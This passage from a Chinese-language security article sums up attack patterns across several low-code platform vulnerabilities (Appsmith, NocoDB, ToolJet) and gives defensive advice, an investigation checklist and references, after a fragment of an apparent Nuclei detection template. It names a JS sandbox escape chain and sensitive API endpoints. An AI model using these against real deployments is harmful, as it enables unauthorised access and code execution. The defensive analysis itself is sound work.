- type: word
words:
- "organization"
- "users"
- "data"
condition: or
part: body
- type: status
status:
- 200
0x0A 共性攻击模式分析
通过对上述 7 个漏洞的深入分析,我们可以总结出低代码与无代码平台的几类共性攻击模式:
模式一:认证缺失 / 认证绕过
涉及漏洞:CVE-2023-3428、CVE-2023-37524、NocoDB 未授权访问、ToolJet 认证绕过
低代码平台普遍存在 API 端点认证缺失的问题。根本原因包括:
- 开发过程中遗漏了认证中间件(NestJS Guard / Spring Security Filter)
- 管理员注册端点在首次初始化后未正确关闭
- API 路由配置错误,部分端点绕过了全局认证拦截器
- 修复不完整,仅封堵了已知的攻击路径而忽略了变体
模式二:JS 沙箱逃逸 → RCE
涉及漏洞:CVE-2023-36844、ToolJet RCE
低代码平台的核心特性是允许用户编写 JavaScript 代码。这些代码通常在服务端的 JS 引擎(Nashorn / VM2 / Node.js vm 模块)中执行。沙箱逃逸是此类平台的固有高风险:
- Nashorn 引擎的 Java 互操作性使得原型链逃逸几乎不可避免
- VM2 沙箱存在多个已知逃逸漏洞(CVE-2023-29017 等)
- 即使使用 vm 模块,通过
constructor.constructor 链也可以逃逸
模式三:低权限 → 高权限横向升级
低代码平台一旦被低权限用户突破,攻击者可以利用平台内置的 API 连接器、数据源配置和自动化工作流,横向渗透到后端数据库、内部 API 和其他业务系统。这种"平台即跳板"的特性使得低代码平台成为攻击链中的关键节点。
模式四:供应链影响面巨大
Appsmith(34k+ Star)、NocoDB(48k+ Star)、ToolJet(29k+ Star)均为高 Star 开源项目,被大量企业直接部署在生产环境中。这些平台通常存储或连接着企业的核心业务数据,一旦被攻破,影响面远超一般的应用系统。
0x0B 防守建议
紧急措施
- 立即升级:将所有 Appsmith 实例升级到 >= 1.9.32,NocoDB 升级到 >= 0.111.5,ToolJet 升级到 >= 2.5.0
- 网络隔离:将所有低代码平台实例从公网撤下,仅允许内网访问
- WAF 规则:在 WAF 上添加规则,拦截对
/api/v1/users/super、/api/v1/db/meta/projects、/api/organizations 等敏感端点的外部请求 - 禁用 JS 执行:如非必要,暂时禁用平台的服务端 JS 执行功能
排查清单
| 排查项 | 排查方法 | 风险等级 |
|---|
| 是否存在未知超级管理员 | 查询 /api/v1/users 检查所有管理员账户 | 🔴 高 |
| API 端点是否暴露 | 使用 Nuclei 模板扫描所有端点 | 🔴 高 |
| JS 沙箱是否可逃逸 | 在 JS 编辑器中测试 constructor.constructor 链 | 🔴 高 |
| 数据源凭据是否泄露 | 检查所有已配置的数据源连接信息 | 🟡 中 |
| 自动化工作流是否被篡改 | 审查所有自动化工作流的执行日志 | 🟡 中 |
| 审计日志是否完整 | 检查登录日志、API 调用日志、数据变更日志 | 🟡 中 |
| 是否连接了内部敏感数据库 | 审查数据源配置中是否包含生产数据库 | 🔴 高 |
| 外部 API 连接器是否被滥用 | 检查所有外部 API 调用记录 | 🟡 中 |
长期加固
- 零信任架构:对低代码平台实施严格的网络分段和访问控制
- API 安全审计:定期对平台所有 API 端点进行认证授权审计
- 沙箱加固:使用 Deno / isolated-vm 等更安全的 JS 沙箱替代方案
- 最小权限原则:限制低代码平台连接的数据源权限,避免使用 DBA 账户
- 持续监控:部署针对低代码平台的专项监控规则,实时检测异常行为
0x0C 参考资料
- Huntr - CVE-2023-3428 Appsmith Super Admin Creation
- GitHub Advisory - CVE-2023-36844 Appsmith JS Sandbox Escape
- Appsmith Security Advisories
- NocoDB GitHub Security Issues
- ToolJet Security Advisory - Auth Bypass
- CISA KEV - Known Exploited Vulnerabilities Catalog
- VM2 Sandbox Escape Analysis (CVE-2023-29017)
- OWASP Low-Code/No-Code Security Risks
- Nuclei Templates - Low-Code Platform Detection
- Appsmith Architecture and Security Model